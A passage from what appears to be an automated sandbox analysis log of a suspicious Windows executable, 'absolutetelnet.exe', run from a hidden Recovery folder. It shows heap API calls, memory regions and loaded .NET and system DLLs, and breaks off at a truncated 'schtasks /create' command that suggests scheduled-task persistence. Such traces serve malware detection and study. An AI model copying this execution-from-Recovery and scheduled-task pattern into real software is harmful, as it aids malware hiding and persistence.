Flags=0x0, MemoryPointer=0x24d5f0) returned 0xe [0160.656] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d5f0 | out: hHeap=0x230000) returned 1 [0160.656] GetProcessHeap () returned 0x230000 [0160.656] GetProcessHeap () returned 0x230000 [0160.656] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cbd0) returned 1 [0160.656] GetProcessHeap () returned 0x230000 [0160.656] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cbd0) returned 0x20 [0160.656] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cbd0 | out: hHeap=0x230000) returned 1 [0160.657] GetProcessHeap () returned 0x230000 [0160.657] GetProcessHeap () returned 0x230000 [0160.657] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d610) returned 1 [0160.657] GetProcessHeap () returned 0x230000 [0160.657] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d610) returned 0x10 [0160.657] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d610 | out: hHeap=0x230000) returned 1 [0160.657] GetProcessHeap () returned 0x230000 [0160.657] GetProcessHeap () returned 0x230000 [0160.657] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cba0) returned 1 [0160.657] GetProcessHeap () returned 0x230000 [0160.657] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cba0) returned 0x20 [0160.657] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cba0 | out: hHeap=0x230000) returned 1 [0160.657] GetProcessHeap () returned 0x230000 [0160.657] GetProcessHeap () returned 0x230000 [0160.657] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24b9c0) returned 1 [0160.657] GetProcessHeap () returned 0x230000 [0160.657] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24b9c0) returned 0x18 [0160.657] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24b9c0 | out: hHeap=0x230000) returned 1 [0160.657] GetProcessHeap () returned 0x230000 [0160.657] GetProcessHeap () returned 0x230000 [0160.658] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2459c0) returned 1 [0160.658] GetProcessHeap () returned 0x230000 [0160.658] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x2459c0) returned 0x20 [0160.658] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2459c0 | out: hHeap=0x230000) returned 1 [0160.658] GetProcessHeap () returned 0x230000 [0160.658] GetProcessHeap () returned 0x230000 [0160.658] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2459f0) returned 1 [0160.658] GetProcessHeap () returned 0x230000 [0160.658] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x2459f0) returned 0x20 [0160.658] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2459f0 | out: hHeap=0x230000) returned 1 [0160.658] GetProcessHeap () returned 0x230000 [0160.658] GetProcessHeap () returned 0x230000 [0160.659] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245a20) returned 1 [0160.659] GetProcessHeap () returned 0x230000 [0160.659] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245a20) returned 0x20 [0160.659] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245a20 | out: hHeap=0x230000) returned 1 [0160.659] GetProcessHeap () returned 0x230000 [0160.659] GetProcessHeap () returned 0x230000 [0160.659] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245a50) returned 1 [0160.659] GetProcessHeap () returned 0x230000 [0160.659] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245a50) returned 0x20 [0160.659] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245a50 | out: hHeap=0x230000) returned 1 [0160.659] GetProcessHeap () returned 0x230000 [0160.659] GetProcessHeap () returned 0x230000 [0160.659] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24b9e0) returned 1 [0160.659] GetProcessHeap () returned 0x230000 [0160.660] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24b9e0) returned 0x18 [0160.660] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24b9e0 | out: hHeap=0x230000) returned 1 [0160.660] GetProcessHeap () returned 0x230000 [0160.660] GetProcessHeap () returned 0x230000 [0160.660] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245a80) returned 1 [0160.660] GetProcessHeap () returned 0x230000 [0160.660] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245a80) returned 0x20 [0160.660] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245a80 | out: hHeap=0x230000) returned 1 [0160.660] GetProcessHeap () returned 0x230000 [0160.660] GetProcessHeap () returned 0x230000 [0160.660] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245b10) returned 1 [0160.660] GetProcessHeap () returned 0x230000 [0160.660] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245b10) returned 0x20 [0160.661] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245b10 | out: hHeap=0x230000) returned 1 [0160.661] GetProcessHeap () returned 0x230000 [0160.661] GetProcessHeap () returned 0x230000 [0160.661] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245b70) returned 1 [0160.661] GetProcessHeap () returned 0x230000 [0160.661] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245b70) returned 0x20 [0160.661] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245b70 | out: hHeap=0x230000) returned 1 [0160.661] GetProcessHeap () returned 0x230000 [0160.661] GetProcessHeap () returned 0x230000 [0160.661] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245bd0) returned 1 [0160.661] GetProcessHeap () returned 0x230000 [0160.661] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245bd0) returned 0x20 [0160.661] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245bd0 | out: hHeap=0x230000) returned 1 [0160.662] GetProcessHeap () returned 0x230000 [0160.662] GetProcessHeap () returned 0x230000 [0160.662] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245c00) returned 1 [0160.662] GetProcessHeap () returned 0x230000 [0160.662] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245c00) returned 0x20 [0160.662] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245c00 | out: hHeap=0x230000) returned 1 [0160.662] GetProcessHeap () returned 0x230000 [0160.662] GetProcessHeap () returned 0x230000 [0160.662] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba00) returned 1 [0160.662] GetProcessHeap () returned 0x230000 [0160.662] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ba00) returned 0x18 [0160.662] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba00 | out: hHeap=0x230000) returned 1 [0160.662] GetProcessHeap () returned 0x230000 [0160.662] GetProcessHeap () returned 0x230000 [0160.662] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245b40) returned 1 [0160.662] GetProcessHeap () returned 0x230000 [0160.662] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245b40) returned 0x20 [0160.663] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245b40 | out: hHeap=0x230000) returned 1 [0160.663] GetProcessHeap () returned 0x230000 [0160.663] GetProcessHeap () returned 0x230000 [0160.663] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24b980) returned 1 [0160.663] GetProcessHeap () returned 0x230000 [0160.663] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24b980) returned 0x18 [0160.663] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24b980 | out: hHeap=0x230000) returned 1 [0160.663] exit (_Code=0) Thread: id = 208 os_tid = 0x8f8 Process: id = "58" image_name = "absolutetelnet.exe" filename = "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe" page_root = "0x40193000" os_pid = "0x8c8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0xf78" cmd_line = "C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4972 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4973 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4974 start_va = 0xe0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4975 start_va = 0x8b0000 end_va = 0x985fff monitored = 1 entry_point = 0x97d67e region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe") Region: id = 4976 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4977 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4978 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4979 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4980 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4981 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4982 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 5253 start_va = 0x1e0000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 5272 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 5273 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5274 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5275 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5276 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5277 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5278 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5279 start_va = 0x1e0000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 5280 start_va = 0x2d0000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 5281 start_va = 0x350000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 5407 start_va = 0x450000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 5408 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5409 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5410 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5411 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5412 start_va = 0x450000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 5413 start_va = 0x610000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 5414 start_va = 0x450000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 5415 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5524 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5525 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5526 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5527 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5528 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5529 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5530 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5531 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5532 start_va = 0x690000 end_va = 0x817fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 5533 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5534 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5535 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5536 start_va = 0x990000 end_va = 0xb10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 5537 start_va = 0xb20000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b20000" filename = "" Region: id = 5538 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5539 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5540 start_va = 0x1f20000 end_va = 0x1feffff monitored = 1 entry_point = 0x1fed67e region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe") Region: id = 5541 start_va = 0x1f20000 end_va = 0x1feffff monitored = 1 entry_point = 0x1fed67e region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe") Region: id = 5542 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5543 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5544 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5545 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5546 start_va = 0x7fef9f10000 end_va = 0x7fef9f25fff monitored = 0 entry_point = 0x7fef9f1c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5547 start_va = 0x7fef9e50000 end_va = 0x7fef9f0cfff monitored = 0 entry_point = 0x7fef9ed7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5648 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 5759 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 5760 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 5761 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 5762 start_va = 0x7fe907f0000 end_va = 0x7fe907fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe907f0000" filename = "" Region: id = 5763 start_va = 0x7fe90800000 end_va = 0x7fe9080ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90800000" filename = "" Region: id = 5764 start_va = 0x7fe90810000 end_va = 0x7fe9089ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90810000" filename = "" Region: id = 5765 start_va = 0x7fe908a0000 end_va = 0x7fe9090ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe908a0000" filename = "" Region: id = 5766 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 5767 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5768 start_va = 0x1f20000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 5769 start_va = 0x1f20000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 5770 start_va = 0x20e0000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 5771 start_va = 0x2350000 end_va = 0x244ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 5772 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 5813 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 5814 start_va = 0x2450000 end_va = 0x1a44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002450000" filename = "" Region: id = 5815 start_va = 0x1a450000 end_va = 0x1a7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a450000" filename = "" Region: id = 5816 start_va = 0x2160000 end_va = 0x2260fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 5863 start_va = 0x1a940000 end_va = 0x1aa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a940000" filename = "" Region: id = 5864 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 5911 start_va = 0x1a7d0000 end_va = 0x1a8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7d0000" filename = "" Region: id = 5912 start_va = 0x1aad0000 end_va = 0x1abcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aad0000" filename = "" Region: id = 5913 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 6035 start_va = 0x1abd0000 end_va = 0x1ae9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6260 start_va = 0x7feee870000 end_va = 0x7feefe6cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 6261 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6296 start_va = 0x250000 end_va = 0x2ccfff monitored = 0 entry_point = 0x25cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6297 start_va = 0x250000 end_va = 0x2ccfff monitored = 0 entry_point = 0x25cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6298 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6299 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6300 start_va = 0x1aea0000 end_va = 0x1afbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aea0000" filename = "" Region: id = 6301 start_va = 0x2270000 end_va = 0x234efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 6302 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 6303 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 6304 start_va = 0x7fe90910000 end_va = 0x7fe9098ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90910000" filename = "" Region: id = 6380 start_va = 0x7fe90990000 end_va = 0x7fe9099ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90990000" filename = "" Region: id = 6381 start_va = 0x7fe909a0000 end_va = 0x7fe909affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909a0000" filename = "" Region: id = 6427 start_va = 0x7fef69b0000 end_va = 0x7fef69b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 6428 start_va = 0x7fef3210000 end_va = 0x7fef335efff monitored = 1 entry_point = 0x7fef3211090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 6429 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Thread: id = 228 os_tid = 0x8cc [0188.003] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 Thread: id = 251 os_tid = 0x4ec Thread: id = 260 os_tid = 0xc24 [0188.529] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 271 os_tid = 0xd74 Process: id = "59" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x40a34000" os_pid = "0x8fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn 